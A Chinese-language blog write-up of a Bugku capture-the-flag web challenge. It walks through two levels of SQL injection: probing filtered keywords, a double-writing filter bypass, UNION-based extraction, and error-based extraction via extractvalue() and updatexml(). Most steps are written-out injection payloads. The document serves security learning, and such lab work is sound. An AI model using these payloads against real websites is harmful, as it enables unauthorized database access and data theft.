Bugku：web 多次
打开这道题，名字叫做多次，本题有两个flag，感觉到了要闯关的意思。
打开链接之后。
？？？一脸懵逼
看看源代码吧~
果不其然，啥都木有啊。
1. 试试id=1'呢：
用了一下sqlmap：
毫无头绪。虽然知道它是sql注入，可是我很菜啊，我怎么知道怎么排查！！？？
2. 查询资料后尝试：?id=1'or 1=1--+，也是报错。这里一个小知识点：
SQL语句中，--加空格表示注释，但是因为url输入时会过滤空格，所以只能用加号来表示空格。
这里之所以报错是因为可能有SQL注入过滤，过滤掉了or这种语句，以保证安全。所以我们就要知道过滤了哪些字符，才可以更好的注入【好像有点邪恶】
3. 异或注入
用?id=1'^(length('union')!=0)时发现报错
?id=1'^(length('union')!=0)--+时发现可行
说明union被过滤啦！！！！不然为何把它注释掉就可行。
将union替换为or，and，select都被过滤了，这时候就要用到双写绕过了。
4. 双写绕过
就是用写两次的方式绕过，可是为什么三写绕不过呢？？？查了很久的资料，没有一个人说这个事情，看来要记住这个点，以后去查到才行...
5. 爆数据库名称
接下来就是一步一步查找flag的时候
?id=1' anandd 1=2 ununionion seselectlect 1,database()%23
?id=1' anandd 1=2 ununionion seselectlect 1,database()--+
以上两个payload都可以
6.爆数据库表名称
?id=-1' ununionion seselectlect 1, group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23
这里之所以是-1，和报错注入有关。报错注入就是利用了数据库的机制，人为地制造错误条件，使得查询结果能够出现在错误信息中。
所以我写id==1也是可行的注入。
要注意information也有or字符。
7.爆列名
?id=-1' ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1' %23
8.爆数据
?id=-1' ununionion seselectlect 1, group_concat(flag1) from flag1 %23
这个就是flag啦，想看看address有什么？
?id=-1' ununionion seselectlect 1, group_concat(address) from flag1 %23
9. 提交了flag发现不正确（好像这里是我误解了，要加flag{}，我忘了），那只能进入下一关地址了
?id=1'
发现不正确，并且双写绕过，大小写绕过都没有。
爆字段数
?id=1' order by 2
因为3就不正确，所以2个字段。
10.爆数据库名
?id=1' and
(extractvalue(1,concat(0x7e,database(),0x7e)))--+
以上用的是报错注入的方法，
11.爆数据库表名
?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(table_name) from information_schema.tables
where table_schema="web1002-2"),0x7e)))--+
?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) %23
还有一个大佬用的是updatexml报错，两个有什么区别呢？
extractvalue() :对XML文档进行查询的函数
语法：extractvalue(目标xml文档，xml路径)
第二个参数 xml中的位置是可操作的地方，xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式，如果我们写入其他格式，就会报错，并且会返回我们写入的非法格式内容，而这个非法的内容就是我们想要查询的内容。
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))
可以看出，以~开头的内容不是xml格式的语法，报错，但是会显示无法识别的内容是什么，这样就达到了目的。
有一点需要注意，extractvalue()能查询字符串的最大长度为32，就是说如果我们想要的结果超过32，就需要用substring()函数截取，一次查看32位。
来源：https://blog.****.net/zpy1998zpy/article/details/80631036
updatexml()函数与extractvalue()类似，是更新xml文档的函数。
语法updatexml(目标xml文档，xml路径，更新的内容)
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
报错方式相同：
select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))
同样是32位查询。
12.爆列名
?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(column_name) from information_schema.columns
where table_schema="web1002-2" and table_name="flag2"),0x7e)))--+
依然有另一种：
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) %23
就是将刚才获得的数据库名，表名带进去
13.最后的胜利
?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(flag2) from flag2),0x7e)))--+
?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),3) %23
flag{bugku-sql_6s-2i-4t-bug}
小朋友，你肯定要问为什么不是大写的B，我也不知道啊啊啊啊啊！！！有毒
来吧，关注我一下，大家一起学习网络安全，共同进步~~
更新频率挺高哦！！实打实原创！！